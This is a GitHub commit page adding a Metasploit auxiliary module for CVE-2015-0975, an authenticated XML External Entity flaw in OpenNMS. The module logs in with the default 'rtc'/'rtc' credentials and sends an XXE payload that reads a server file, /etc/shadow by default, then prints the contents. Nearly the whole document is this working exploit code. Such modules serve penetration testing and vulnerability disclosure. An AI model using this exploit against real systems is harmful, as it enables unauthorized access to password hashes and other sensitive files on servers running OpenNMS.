Skip to content

Commit b92d243

Browse files
committed
Merge branch 'module-cve-2015-0975' of https://github.com/jstnkndy/metasploit-framework into module-cve-2015-0975
2 parents e0a7f53 + 766a07a commit b92d243

File tree

1 file changed

+91
-0
lines changed

1 file changed

+91
-0
lines changed
Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
require 'msf/core'
2+
require 'openssl'
3+
4+
class Metasploit3 < Msf::Auxiliary
5+
6+
include Msf::Exploit::Remote::HttpClient
7+
8+
def initialize(info = {})
9+
super(update_info(info,
10+
'Name' => 'OpenNMS Authenticated XXE',
11+
'Description' => %q{
12+
OpenNMS is vulnerable to XML External Entity Injection in the Real-Time Console interface.
13+
Although this attack requires authentication, there are several factors that increase the
14+
severity of this vulnerability.
15+
16+
1. OpenNMS runs with root privileges, taken from the OpenNMS FAQ: "The difficulty with the
17+
core of OpenNMS is that these components need to run as root to be able to bind to low-numbered
18+
ports or generate network traffic that requires root"
19+
20+
2. The user that you must authenticate as is the "rtc" user which has the default password of
21+
"rtc". There is no mention of this user in the installation guides found here:
22+
http://www.opennms.org/wiki/Tutorial_Installation, only mention that you should change the default
23+
admin password of "admin" for security purposes.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'Stephen Breen <breenmachine[at]gmail.com>', # discovery
29+
'Justin Kennedy <jstnkndy[at]gmail.com>', # metasploit module
30+
],
31+
'References' =>
32+
[
33+
['CVE', '2015-0975']
34+
],
35+
'DisclosureDate' => 'Jan 08 2015'
36+
))
37+
38+
register_options(
39+
[
40+
Opt::RPORT(8980),
41+
OptBool.new('SSL', [false, 'Use SSL', false]),
42+
OptString.new('TARGETURI', [ true, "The base path to the OpenNMS application", '/opennms/']),
43+
OptString.new('FILEPATH', [true, "The file or directory to read on the server", "/etc/shadow"]),
44+
OptString.new('USERNAME', [true, "The username to authenticate with", "rtc"]),
45+
OptString.new('PASSWORD', [true, "The password to authenticate with", "rtc"])
46+
], self.class)
47+
48+
end
49+
50+
def run
51+
52+
print_status("Logging in to grab a valid session cookie")
53+
res = send_request_cgi({
54+
'method' => 'POST',
55+
'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'),
56+
'vars_post' => {
57+
'j_username' => datastore['USERNAME'],
58+
'j_password' => datastore['PASSWORD'],
59+
'Login'=> 'Login'
60+
},
61+
})
62+
63+
unless res.headers["Location"].include? "index.jsp"
64+
fail_with(Failure::Unknown, 'Authentication failed')
65+
end
66+
67+
cookie = res.get_cookies
68+
69+
print_status("Got cookie, going for the goods")
70+
71+
xxe = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file://'+datastore["FILEPATH"]+'" >]><foo>&xxe;</foo>'
72+
73+
res = send_request_raw({
74+
'method' => 'POST',
75+
'uri' => normalize_uri(target_uri.path, 'rtc', 'post/'),
76+
'data' => xxe,
77+
'cookie' => cookie
78+
})
79+
80+
# extract filepath data from response and remove preceding errors
81+
82+
if res.body =~ /<title.*\/?>(.+)<\/title\/?>/m
83+
title = $1
84+
end
85+
86+
result = title.match(/"(.*)/m)
87+
88+
print_good("#{result}")
89+
90+
end
91+
end

0 commit comments

Comments
 (0)